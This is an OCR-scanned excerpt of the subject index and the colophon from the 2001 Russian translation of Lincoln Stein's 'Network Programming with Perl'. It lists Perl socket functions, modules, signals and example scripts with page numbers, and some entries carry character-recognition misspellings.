seen(), 239
select!), 237; 238; 369
sendf), 192; 208; 543; 638
send_event(), 570; 572; 634; 640; 641
send_event() с тремя параметрами, 580
send request!), 413
send_to_all(), 584; 634
SessionDataClass(), 400
sessions!), 394; 400; 403
set_choke(), 394
setsockopt!), 135; 362; 363; 624
shlockf), 486
shunlock(), 486
shutdown!), 135; 406
sign(), 207
simple_request(), 271
slave(), 245
sock2server(), 570
sockaddr(). 135
sockhost(), 467
socknameO, 135
sockopt(), 135; 409; 598; 599
sockoptj) модуля lOr.Socket, 120; 517
sockporti), 135; 467
status_line(), 268
still_here(), 586
stor(), 157
subscriptions!), 247
sysreadf), 378
tid(), 349
tied(), 486
timeon(), 580
timeout!), 136; 271
title!). 581
top(), 223; 235; 239
transform!), 368
uidl(), 224
unbroken_text(), 302
users!), 580; 584
verify!), 185
wait(), 384; 396; 403
waitforO, 168
Предметный указатель
writable!), 395
write(), 383
write_limit(), 394
write_local(), 418
xhdr(), 248
xml_mode(), 302
xover(), 249
xpat(), 249
xrovert), 249
буферизации, 45
запроса, 462
запроса GET, 465
запроса HEAD, 462; 465
модуля Net-Telnet, 166
Модель Маркова, 523
Модератор, 240
Модуль
AnyDBM_File, 255
Carp, 381; 428; 448; 572
Carp::Heavy, 448
Chatbot::Eliza. 314; 351; 430; 448
Chatbot::Qiza::Polite, 366
ChatObjects::Channel, 634; 638
ChatObjects::ChatCodes, 568; 636
ChatObjects::Comm, 562; 568; 638
ChatObjects-MChannel, 640
Config, 608
Daemon, 426; 441; 448; 451; 468; 651
Daemoapm, 452
DaemonDebug, 468
Errno,381;393;417
Expect, 178
Exporter, 608
Fcntl, 43; 255; 373; 434; 475; 516
File::Basename, 308; 417; 428
file::Path, 160; 308; 417
Getopt::Long, 160; 255; 654; 657
HTML:FormatPS, 291
HTML-Formatter, 259; 291
HTML:FormatText, 291
HTML:Parser, 259; 297; 298
HTTPFetch, 413; 414
IO::Dir, 130
IO::File. 31; 32; 53; 54; 55; 130; 320; 328;
428; 497; 533
IO::Getline, 377; 524; 527; 529; 532; 554;
556; 570
IO::Handle, 53; 110; 127; 129; 130; 320; 381
IO::lnterface, 93; 604; 605; 606; 612; 626; 629
IO::LineBufferedSessionData, 402
IO::Multicast, 624; 626
IO::Pipe, 130
IO::Poll, 388; 502; 504; 508
IO::Pty, 164; 174
IO::Seekable, 130
IO::Select, 130; 356; 357; 413; 453; 497; 502;
556; 568; 599
IO::SessionData, 383; 389; 402
IO::SessionSet, 383 .
lO-Socket, 29; 38; 58; 120; 127; 130; 141;
154; 319; 320; 351; 357; 413; 430; 470;
497; 508; 516; 542; 556; 568; 572; 597;
599; 624; 631; 648; 653; 654; 657
IO::Socket::INET, 130; 546; 626; 648
IO::Socket::Multicast, 627; 631
IO::Socket::SSL, 259
IO::Socket::UNIX, 130
IPC::Shareable, 485
LogFile, 434
LWP, 29
LWP::Simple, 16; 261
LWP::UserAgent, 269; 288
Mac::Apps::l_aunch, 334
Mail::Cap, 234
Mail-Header, 188; 237
Mail::IMAPCIient, 235
Mail-Internet, 29
Mail-Mailer, 195
Mail::POP3Client, 219
MailTools, 180; 187
MIME::Entity, 255
MIME::Parser, 209; 212; 224; 233
Net-Cmd, 130; 220; 248
Net::Config, 151; 222
Net::FTP. 151; 220
Net::FTP Модуль Net::Telnet, 29
Net::ICMP, 88
Net::IMAP, 181; 235
Net::IMAP::Simple, 235; 237
Net::LDAP. 104
Net::Netmask, 95
Net::NetmaskLite, 95
Net::NIS, 104
Net::NNTP, 242; 255
Net::POP3,180; 219
Net::SMTP, 180; 220
Net::Telnet, 149; 164; 165; 174
NetServer::Generic, 499
Peri, 21
PopParser, 232
PopParser.pm, 226; 230
POSIX, 319; 428; 452
Proc::Daemon, 327
PromptUtil,221;237;290
Sockatmarkpm, 522
Socket, 38; 110; 539; 653
SSL, 259
Storable, 485
Sys::Syslog, 424; 428; 468
Term::ReadKey, 178
742
Предметный указателе
Text::Travesty, 524; 527; 528
Text::Wrap, 524
Thread, 343; 351; 492; 497
Thread: :Signal, 350
URI::Escape, 278; 279
Web, 467
Win32::EventLog, 422; 432
Win32::NetResource. 104
базовый универсальный Net::Cmd, 154
библиотечный, 29
дополнительный Net::Raw, 88
стандартный
IPC::Open2,70
IPC::Open3, 70
Text::Wrap, 650
Мультиплексирование, 313
н
Набор
дескрипторов IO::Select, 363; 481
дескрипторов объекта IO::Select, 599
констант :signal_h модуля POSIX, 652
объектов IO::SessionData, 396
протоколов TCP/IP, 28
сигналов POSIX::SigSet, 457
Наполнение информационное документа, 261
Номер порта, 96; 598
Нумерация сообщений POP, 223
О
ALRM, 551; 658
ALRM, локальный, 81
CHLD, 429; 451; 468; 469; 475; 527
HUP, 482
INT, 116; 319; 329; 475; 515
PIPE, 509
TERM, 329; 448; 475
URG, 516; 528; 532
Объект
Chatbot::Eliza, 314; 363; 364
Chatbot::Eliza::Polite, 387
Chatbot::Eliza::Server, 352
ChatObjects::Comm, 569
ChatObjects::MComm, 638
ChatObjects::User, 574; 634; 638
HTTP::Headers. 266
HTTP::Message, 266
HTTP::Request, 261
HTTP-Response, 266
HTTPFetch, 413
IO::Getline, 527; 533
IO::Handle, 377
IO::LineBufferedSet, 387
IO::Poll, 503; 509
IO::Select, 358; 469; 497; 498; 518; 569; 643
IO::SessionData, 393
IO::Socket, 430; 648
IO::Socket::UNIX, 648
LWP::Protocol, 270
LWP::UserAgent, 261
Mail::Header, 237
Mail-Internet, 188; 191; 192; 193
MIME::Body, 202
MIME::Entity,201;209;226
MIME::Head, 201
MIME::Parser, 202
Perl, 52
POSIX-SigSet, 653
Thread, 344
агента пользователя LWP::UserAgent, 260; 270
многокомпонентный, 205
модуля IO::Socket::INET, 130; 131
модуля Mail::Mailer, 195
однокомпонентный, 205
ответа HTTP::Response, 261
приемного сокета IO::Socket::INET, 469
сеанса HTTPFetch, 413
синтаксического анализатора, 292
Оператор
О, 34; 378; 418; 465; 504; 654
<STDIN>, 35
localO, 447
по strict'refs', 610
print, 32
qw()., 51
Область применения протокола UDP, 91
Обмен
данными
в виде текста, 85
в двоичной форме, 85
оперативный текстовыми сообщениями, 560
Обнаружение конца файла, 505
Обозначение
конца строки, 38
конца строки символами CRLF, 321
семейства адресов, 609
фрагмента HTML, 466
Оболочка командная CPAN, 22
Обработка
внеочередных сообщений, 120
многопоточная, 313; 343
мультипроцессная. 343
Обработчик
сигнала, 72
$SIG{_DIEJ, 432
$SIG{_WARNJ, 432
$SIG{HUP}, 452
$SIG{PIPE}, 394
Предметный указатель
743
require, 608
shift, 451
shift(), 31; 32
use, 608
use strict, 65
use(), 31
вложения «,185
диагностический warn(), 80
кавычек обратных одинарных, 444
логический if(), 385
обратных одинарных кавычек ", 66
Операция LOCK_SH, 434
Определение места разрыва сети, 107
Опция
IFF_BROADCAST, 613
IP_MULTICASTJF, 624; 625
IP_MULTICAST_LOOP, 624
IP_MULTICAST_TTL, 623
SO_BROADCAST, 120; 597; 599
SO_ERROR, 120
SO_KEEPAUVE, 119
SOJJNGER, 119; 136
SO_OOBUNE, 517
SO_RCVLOWAT, 120; 362
SO_REUSADDR, 118
SO_SNDBUF. 119
SO_SNDLOWAT, 120
SO_TYPE, 120
модуля Net::Telnet, 166
распределения usa, 241
распределения world, 241
сокета, 118
IP_ADD_MEMBERSHIP, 625
IP_DROP_MEMBERSHIP, 625
Организация
FAQ Consortium, 274
ICANN, 97
no стандартизации POSIX, 87
Ответ FTP-сервера многострочный, 153
Отключение сервера от управляющего
терминала, 421
Отметка буфера, нижняя, 362
Очередь
приемная TCP, 512
циклическая FIFO, 45
Ошибка
EACCES, 116
ECONNREFUSED, 124; 541
EINVAL, 519
EISCONN, 124
ENETUNREACH,124
ENOTSOCK, 124
ETIMEDOUT. 124
EWOULDBLOCK, 514
PIPE, 394; 509
в методе commandJnterface() модуля Eliza, 324
записи EPIPE, 376
службы Dr. Watson, 548
типа "Dr. Watson", 80
П
Пакет
ChatCodes, 613
Cygwin, 23
MIME::Tools, 180; 197
Ntsyslog, 422
PromptUtil.pm, 220
Память разделяемая. 60; 485; 489
Параметр
$options функции openlog(), 424
BUFSIZE, 323
LOCK EX, 476
LOCK_UN, 476
NOTICE, 434
SHM_GLUE, 490
SO_ERROR, 409
конструктора модуля IO::Socket::INET, 132
Перевод
процесса в состояние ожидания, 360
сервера в фоновый режим, 118
сервера в фоновый режим автоматический,
421; 426; 492
Перегрузка операционной системы, 473
Передача
видеоданных, потоковая, 615
дейтаграмм, 90
Перекрытие метода getjaasic credentials(),
289; 307
Переменная
$!. 50; 51; 361; 362; 394; 409
$$.61; 483; 517
$(, 439
$), 439
$@, 131; 407; 551
$_,35
$<,438
$>, 438
$CR, 123
$CRLF. 123
$IO::SessionSet::DEBUG, 405
$LF, 123
глобальная • ч
$!, 40; 41
$$,327
$/, 38; 123; 382
$?, 66
$"Е, 334 П
неразделяемая, 347 п
специальная $?, 316
744
Предметный указателе
специальная $~F, 62
среды
*_proxy, 272
BASH_ENV, 444
CDPATH, 444
ENV, 444
IFS, 444
PATH, 64; 196; 325; 444
PERL.MAILERS, 196
PERL5LIB, 22
условная, 495
Поддержка потоков, 501
безопасная, 344
Подкласс
Chatbot::Eliza, 352
ChatObjects::Mchannel, 638
ChatObjects::MComm, 638
IO::LineBufferedSet, 386
IO::Socket::INET, 130
MIME::Body::File, 209
MIME::Body::lnCore, 209
MIME::Body::Scalar. 209
класса IO::SessionSet, 400
Подпрограмма
blocking(), 373
Chatbot::aiza::DESTROY(), 451
DESTROY, 432
launch_child(), 470
анонимная, 569
обратного вызова choke(), 403
отправки электронной почты, 185
Подсеть локальная, 594
Поиск
ресурсов, 594
узла CPAN, 21
Показатель производительности сервера, 500
Поле
Location, 467
Referer: заголовка, 280
TTL.620
заголовка HTTP, многозначное, 264
Пользователь
nobody, 439
root, 329; 437; 650
непривилегированный, 442
Порт стандартный SMTP, 181
Последовательность символов CRLF, 465
Поток, 313
выполнения, 343
интерпретатора, 344
основной, 344
сигнальный, 350
Привилегия суперпользователя, 441
Привязка
сокета UDP к порту, 540
соккта к порту, 616
Прием входящих соединений, 116; 117; 126
Признак конца файла EOF, 570
Приложение
Event Viewer, 433
shuck, 25
XMMS, 646
XV, 224
многопоточное, 356
мультиплексное, 356
мультипроцессное, 356
потоковой передачи видеоданных, 594
сетевое, 343
сетевое одноранговое, 83
Применение
Telnet в качестве почтовой клиентской
программы, 181
клиента ssh, 174
константы IPPROTO_TCP, 99
круглых скобок в функциях, 36
объекта IO::Socket, 142
последовательности CRLF для обозначения
конца строки, 123
потоков в сочетании с сигналами, 350
псевдотерминала, 174
сценария perldoc, 24
Пример
использования ветвления, 61
отправки электронной почты, 187
применения объекта MIME::Entity, 202
Принцип
динамической адаптации сервера, 462
организации служб Internet, 152
Приоритет сообщения системы syslog, 423
Проблема синхронизации, 148
Провайдер служб Internet, 620
Проверка
подлинности пользователя, 650
потенциально опасных данных, 30; 421;
449; 457
синтаксиса, строгая, 65; 76
Программа
/bin/cat. 336
/usr/lib/sendmail, 442
change_passwd_ssh.pl, 178
chat_client.pl, 587
count_lines.pl, 53
Eliza, 314; 320
gzip,21;23
make, 23
passwd UNIX, 170
ping, 596
pop_stats.pl, 236
Process Manager, 472
ps, 320
Цредметный указатель
745
stty UNIX, 178
syslog, 325
tar, 23
tcp_echo_cli1.pl, 110
tcp_echo serv1.pl, 114
telnet, 32l; 525
traceroute, 106
vacation системы UNIX, 192
whos_there.pl, 64
zcat, 214
автоответчика, 195 :
клиентская для сценария CGI, 285
многопоточная, 344
однопоточная неблокирующая, 406
просмотра, 234
стандартная Telnet, 114
Программирование
многопоточное, 343
сетевое, 63
Пространство имен групп новостей
иерархическое, 240
Протокол, 84
DHCP, 93; 594
DVMRP, 617
ESMTP, 184
FTP, 151; 259
Gopher, 259
HTTP, 259; 262; 462
HTTP/1.0,465
HTTP/1.1.465
HTTPS, 259
ICMP, 596
IMAP, 219; 235
IPv6,96
NNTP, 242; 259
NTP. 596
PF.UNSPEC. 646
POP3, 219
SMTP, 181;259
SSH.174
TCP, 88; 536
Telnet. 151; 164
TFTP, 92
UDP, 88; 89; 424; 536; 541; 547
аутентификации, 288
доступа к каталогам ШАР, 104
межсетевой IP, 84 \-...
передачи гипертекста HTTP, 139 С
потоковой передачи байтов с
установлением логического соединения, 109
сетевой, 84
совместного доступа к файлам Napster, 83
Процедура
parse_url(), 417
prbmpt_for_passwd(), 178
Процесс, 59
дочерний, 60; 312; 441; 462; 472; 490
зомби, 316
родительский, 60; 312; 472
Псевдокомментарий overload, 579
Псевдопротокол PFJJNSPEC, 89
Псевдотерминал, 174
Пул потоков, 313
Р
Рассылка
многоадресная, 536; 594; 615
широковещательная, 95; 536; 593; 613
Регистрация сообщений сервера в файле, 433
Режим
aiitoflush(), 56
nowait, 339
wait, 339
автоматического сброса, 129; 320; 339
доступа к сегменту разделяемой памяти, 486
доступа к файлу, 486
многозадачный, 59
потоковый, 648
проверки потенциально опасных данных,
443; 449; 457
срочной передачи URGENT, 513
фоновый, 324
Ретрансляция сообщений, 591
Руководство справочное
perlref, 610
perlsub, 610
perlthread, 348
Ряд Фибоначчи, 68
С
Связь
межпроцессная, 63; 316
межпроцессная локальная, 645
Сеанс работы по протоколу
FTP, 151
Telnet, 151; 164
Сегмент разделяемой памяти, 486; 489
Сервер, 83
ВООТР. 93
DHCP, 596
NIS, 596
rlogin, 520
SMTP, 182
TCP. 113
UDP, 460
wrap_serv.pl, 650
XMMS, 646
адаптивный, 477
746
Предметный указатекъ
многопоточный, 311; 500
мультиплексный, 311; 363
мультипроцессный, 311
почтовый SMTP, 32
с ветвлением, 312; 318
с предварительным ветвлением, 461
с предварительным формированием
потоков, 491; 495; 500
с установлением логического соединения,
службы времени, 546; 596; 630
Сервлет, 276
Сеть
Ethernet, 542
внутренняя, 95
многоадресной рассылки MBONE
общедоступная, 620
серверов DNS, 92
Сигнал, 59; 73
ALRM, 75; 341; 489
CHLD, 75; 145; 316; 355; 652; 653
CONT, 75
HUP, 73; 326; 337; 421; 448; 482
INT, 73; 470; 532; 653; 656
KILL, 74
PIPE, 72; 75; 119; 125; 355; 362
QUIT, 73; 515; 532
STOP, 75
TERM, 74; 470; 653; 656
TSTP, 75
URG, 121; 513; 527; 532
USR1.458
USR2,458
отмены, 512
Символ шаблона, 244
Синтаксис
добавления атрибутов к подпрограммам, 348
функции flock(), 473
языка XML, 298
Система
Freenet, 83
Gnutella, 83
Macintosh, 23
syslog, 422; 646
Usenet, 239
Windows, 23
интерактивной переписки, 560; 591; 630
операционная
Linux, 505; 620
QNX, 601
Solaris, 473; 623
ULTRIX, 327
Windows, 472
потоковой передачи звука, 616
проведения видеоконференций, 616
производственная, 344
Предметный указатель
расширения XS, 30
сетевая информационная NIS, 104
телеконференций Internet, 593
Ситуация
исключительная, 512
тупиковая, 148
Служба
NFS, 92
Telnet, 164
дейтаграммная, 536
печати Ipd, 646
сетевых новостей, 239
Смена
назначения вывода функции
die(), 468
warn(), 468
носителя, 646
Событие
POLLERR, 505; 508
POLLHUP, 505
POLLIN, 505
POLLNVAL, 505
POLLOUT, 505
POLLPRI, 505
POLLRDBAND, 505
POLLRDNORM, 505
POLLWRBAND, 505
POLLWRNORM, 505
SET_MCAST_PORT, 638
Соединение
TCP, исходящее, 506
клиентское, 312
Создание сокета, 87
Сокет
AF LOCAL, 130
AF UNIX, 130
UDP, 120; 542; 599; 623; 632
XMMS, 646
дейтаграммного типа, 89; 90
дейтаграммный, 538
домена
Internet, 130; 424; 425
UNIX, 424; 425; 645
контролируемый, 384
подключенный, 113; 593
потоковый, 90
приемный, 113; 319; 363; 365; 384; 462;
472; 481; 497
Сокеты Berkeley, 27; 28; 57
Сообщение
CHANNELJTEM, 644
ICMP, 623
PING_ACK, 585
SET MCAST_PORT, 643; 644
UDP, 634
747
многоадресное, 622; 634
о событии STILL_HERE, 585; 588
об ошибке
асинхронное, 541
в переменной $!, 111; 112
общедоступное, 560; 561; 574
одноадресное, 594
первоочередное, многобайтовое, 535
приватное, 560
Сопоставление с образцом, 244
Состав
многокомпонентного сообщения, 212
объекта Mail::Header, 190
тела объекта MIME::Entity, 203
Состояние
POLLIN, 503
POLLOUT, 503
дескриптора, контролируемое, 503
Спецификация
MIME, 241
RFC 822, 240
протокола SMTP, 182
Список
©EXPORTS, 585
рассылки, 239; 615
Способ
обозначения статьи новостей, 241
обработки
attachment, 199
inline, 200
разрыва соединения, 145
Сравнение
модулей
IO::Socket и IO::SessionData, 385
Net::IMAP::Simple и Net::POP3, 237
функций
inet_aton() и gethostbyname(), 101
socketpair() и pipe(), 122
Средство
Autoloader интерпретатора Perl, 448
буферизации библиотеки stdio, 47; 48
доступа
comm(), 641
mcast_addr(), 641
инструментальное h2ph, 424; 605; 624; 626
Ссылка на шаблон типа, 49
Стандарт MIME, 197 ■
Станция рабочая бездисковая, 601 'м'
Стек протоколов, 84
Страница поиска, 277
Строка
граничная, 200
запроса, 279; 466
Структура
ifconf, 603
ifreq, 603
ip_mreq, 624
ip_mreqn, 624; 629
linger, 119
sockaddrjn, 97; 538
sockaddr_un, 98
клиентской команды, 153
модуля Net::SMTP, 183
Сумма контрольная, 542
Супердемон inetd, 460
Суперкласс SUPER::wait(), 403
Схема адресации CIDR, 95
Сценарий
autoreply.pl, 192
change_passwd.pl, 170
chat_server.pl, 574; 589
facfib.pl, 67
follow_chain.pl, 268
format_html.pl, 291
ftp_mirror.pl, 158
get rfc.pl, 274
get_uri.pl, 268; 289; 295
get_uri2.pl, 289
get_uri3.pl, 295
h2ph, 522; 605; 626
imap_stats.pl, 236
lgetl.pl, 30
lgetr.pl, 31; 32
localtime_cli.pl, 655
localtime_serv.pl, 655
mail_recent.pl, 215
mirror_images.pl, 305
newsgroup_stats.pl, 242
peridoc, 24; 25
pop_fetch.pl, 224
print_links.pl, 298
rclocal, 332
read_three.pl, 71
remote_wc.pl, 286
scan_newsgroups.pl, 252
search_rfc.pl, 279
search_rfc3.pl, 303
udp_daytime.pl, 536
udp_daytime_multi.pl, 544
urg_send.pl, 514
web_fetch.pl, 138; 411; 419
web_fetch_p.pl, 412
write_ten.pl, 71
write_ten_i.pl, 78
write_ten_ph.pl, 77
зеркального отображения, 157
командного интерпретатора, 331
мультиплексного клиента, 598
начальной загрузки, 334
•ч
oY
748
Предметный указателе
серверный CGI, 276
серверный динамический, 276
Таблица
автомонтирования, 104
маршрутизации, 95
Тег
:flock, 434
<FORM>, 277
<FORM> с атрибутом ENCTYPE. 284
<INPUT>, 284
Терминал управляющий, 326
Тест WebStone эталонный стандартный, 500
Тип
SOCK_RAW, 88
text/plain информационного наполнения, 466
адреса сетевого домена, 92
данных REG_SZ, 335
многозадачного режима, 59
сокета, 88
SOCK.DGRAM. 88; 646
SOCK_STREAM, 88; 646
Уборка информации о дочерних процессах из
системных таблиц, 316
Узел MacPerl Module Porters, 23
Указатель
записи, 45
срочных данных, 513; 518; 521
чтения, 45
Упорядочение вызовов функции acceptf), 473
Управление
блокировкой, 46
локальными интерактивными программами, 164
потоками, 371
потоком данных, 91
потоком данных TCP, 513
процессами, 371
Управление ресурсами, 343
Уровень
аппаратный, 84
канальный, 84
прикладной, 85
сетевой, 84
транспортный, 84
Условие
конца файла, 504
конца файла EOF, 34; 36; 112
Установка опции сокета SO_KEEPALIVE, 125
Устройство
/dev/null, 327
/dev/tty, 327
Утилита
instsrv.exe, 334
libnet, 151; 183; 242; 243
МасТСР Watcher, 108
netstat, 107
nslookup, 106
ping, 105
ps, 476
scanner.exe, 108
srvany.exe, 334
tepdump, 107
top, 476
Ф
Файл
.forward, 192
.ph. 522; 608
.vacation, 192; 194
/etc/inittab, 333
cookie HTTP, 270; 307
GIF, 466
HTML, 466
index-html, 417
JPEG, 466
net/if.ph, 608
netinet/in.ph, 629
PID, 327; 429
дампа ядра, 73
журнала, 422; 436; 437
заголовка
limits.h, 479
netinet/in.h, 624
sys/ioctl.ph, 521
sys/socket.ph, 521
sys/sockio.ph, 521
sys/sockios.ph, 521
системный
net/if.h, 605
sys/socket.h, 605
sys/sockio.h, 605
заголовка syslog.ph, 424
конфигурации
/etc/inetd.conf, 337
mailcap, 234
пользовательский .mailcap, 234
системный
/etc/mailcap, 234
/etc/syslog.conf, 422
сокета, 645
Фильтрация
аппаратная неидеальная, 618
программная идеальная, 618
Флажок
Предметный указатель
749
eof, 382
error, 382
MSG_DONTROUTE, 122 Г-"
MSG OOB, 122; 512; 513; 517
0_NONBLOCK, 372
0_RDONLY, 474
SO_OOBINLINE, 120
WNOHANG, 317
WUNTRACED, 317
Форма
заполняемая HTML, 276
кода EWOULDBLOCK строковая, 372
поиска, 277; 278
Формат
MIME, 197
POD, 24
адреса электронной почты, 184
почтового сообщения Internet, 182
представления чисел сетевой, 86
стандартный почтовых заголовков Internet, 182
Функция
accept!), 113; 115; 117; 352; 384; 406; 461; 470;
473; 476; 483; 487; 498; 517; 538; 646; 648
alarm(), 75; 341; 546; 658
async(), 349
bind(). 113; 540; 559; 633; 646; 647
binmode(), 39
bless(), 382; 393; 400; 417; 572; 580; 583
chdir(), 327; 446; 456; 457
chmod(), 650
chomp!), 33; 533; 537; 538; 544; 653
chroot(), 325; 421; 446; 457
close(), 112
closelog!), 425
cond_broadcast(). 350; 497
cond_signal(), 350
cond_wait(), 350; 495; 497
connect!), 109; 362; 408; 538; 540; 543; 569; 646
defined!). 366
diet), 80; 344; 345; 431; 434; 483; 538; 658
dirnameO, 308; 417
docrootO, 465
eof(), 37; 38
eval(), 345; 444
exec(), 62; 336; 449; 457
exit(), 80; 136; 344; 355; 515; 569; 656
fcntIO, 121; 373; 516; 517; 532
fdopen(), 175 t v
fileno!), 50; 400
fill!), 653
flock(), 473; 483; 487
fork(), 59; 144; 175; 312; 315; 343; 369; 420;
452; 461; 470; 652; 653
GET(), 282
get_passwd(), 221; 290
750
getgrnam(), 440
gethostbyaddrO, 100; 467; 546
gethostbynameO, 100
getline(), 377; 524
getpeername(), 117; 540; 648
getpgrp(),61;326
getppid(), 60
getprotobynameO, 88; 102; 110; 112; 625; 629
getprotobynumber(), 102
getpwnamO, 440
getpwuid(), 193
getservbynameO, 102; 538; 546
getservbyportO, 103
getsocknameO, 117; 647; 648
getsockoptO, 118; 541; 624; 629
glob(), 444
gmtime(), 245
grep(), 482
HEAD(), 282
if_addr(), 610
"LflagsO, 610
if_list(),611
index!), 168
inet_aton(), 99; 101; 110; 408; 538; 546; 624;
625; 629; 632
inet_ntoa(), 98; 608; 610; 613
init_daemon(), 426
init_server(), 428
install!), 259
interact!), 653
ioctl(), 121; 521; 602; 603; 608
kill(), 60; 79; 326; 444
listen!), 115; 116; 646; 648
localtimeO, 245; 656
lock(), 347; 486
log_debug(), 428
log_die(), 428
log_notice(), 428
log_warn(), 428
mkpath!), 308; 417
open!), 39; 40; 41; 55; 317
open() с двумя параметрами, 63
openlogO, 424
pack(), 93; 562; 572; 609
pack_sockaddr_un(), 647
peeraddr(), 546
pipe(), 130; 478; 481
poll(), 502; 518
POST(), 282; 283
print!), 35; 356; 437; 648
printfO, 36; 425
PUT(), 282
rand(), 558
read(), 35; 356; 504; 648
readdir(), 443
Предметный указатель
readlinkQ, 443
recv(), 122; 512; 514; 538; 599; 633; 647;
648; 656
recvfrom() языка С, 540
redirect), 465; 467
retum(), 345
rindexj), 418
schmctl(), 485
schmread(), 485
schmwriteO, 485
select(), 35; 36; 46; 48; 313; 356; 371; 378;
403; 460; 482; 502; 518; 542; 553; 554;
569; 599; 635
send(), 121; 512; 538; 593; 598; 648; 656; 658
setlogmask(), 425
setlogsockQ, 425
setreuidO, 438
setsid(), 326; 327
setsockopt(), 118; 624; 629
shmgetO, 485
shutdownO, 112; 362
shutdown(1),354;654
sigprocmaskQ, 452; 653
sleep(), 80; 457; 477; 489; 515
sockaddr_in(), 98; 112; 116; 408; 539; 546;
580; 598; 613; 632; 640; 641
sockaddr_un(), 647
sockatmark(), 520
socket(), 109; 111; 112; 116; 538; 539
socketpair(), 70; 122
sprintfO, 425
stat(), 157; 466
substr(),376;394;611
syslogO. 425
sysopen(), 43
sysread(), 35; 155; 321; 356; 372; 482; 504;
514; 570; 648
system(), 62; 234; 317; 442
syswriteO, 36; 155; 321; 356; 363; 372; 375;
504; 515; 593; 648
time(), 265
umask(), 650
undef, 77
unlinkO, 328; 444
unmask)), 444
unpack(), 93; 609; 648
unpack_sockaddr_un(), 647
uri_escape(), 279
uri_unescape(), 279
wait(), 316; 345
waitpid(),316;451;457
warn(),431;434;436
write(), 504
yield(), 350
библиотеки stdio, 362
внутренняя get_if_addr(), 629
встроенная
flock(), 434
index(), 382
pipe(), 67
select(), 360
setsockopt(), 517; 598
time(), 244
открытия канала ореп(), 444
связывания tie(), 486
X
Хеш глобальный %SIG, 75
ц
Цикл
accept(),312;467;476
waitpid(), 652
while(), 358
неразрывный while(), 466
4
Чтение частичное, 372
ш
Шаблон
типа, 49
типа VSTDIN, 570
э
Эмуляция отправки пользователем данных
заполняемой формы, 277; 279
Я
Ядро операционной системы, 422
Язык
HTML, 291
SGML, 291
XHTML, 291
XML, 291
■Предметный указатель
751
Научно-популярное издание
Линкольн Д. Штайн
Разработка сетевых программ на Perl
Литературный редактор Е.Д. Давидян
Верстка В.И. Бордюк
Художественный редактор С.А. Чернокозинский
Технический редактор Г.Н. Горобец
Корректоры З.В. Александрова, Л.А. Гордиенко,
О.В. Мишутина, Т.А. Корзун
Издательский дом "Вильяме".
101509, Москва, ул. Лесная, д. 43, стр. 1.
Изд. лиц. ЛР N° 090230 от 23.06.99
Госкомитета РФ по печати.
Подписано в печать 22.11.2001. Формат 70x100/16.
Гарнитура limes. Печать офсетная.
Усл. печ. л. 60,63. Уч.-изд. л. 46,24.
Тираж 4000 экз. Заказ N° 2231.
Отпечатано с диапозитивов в ФГУП "Печатный двор"
Министерства РФ по делам печати,
телерадиовещания и средств массовых коммуникаций.
197110, Санкт-Петербург, Чкаловский пр., 15.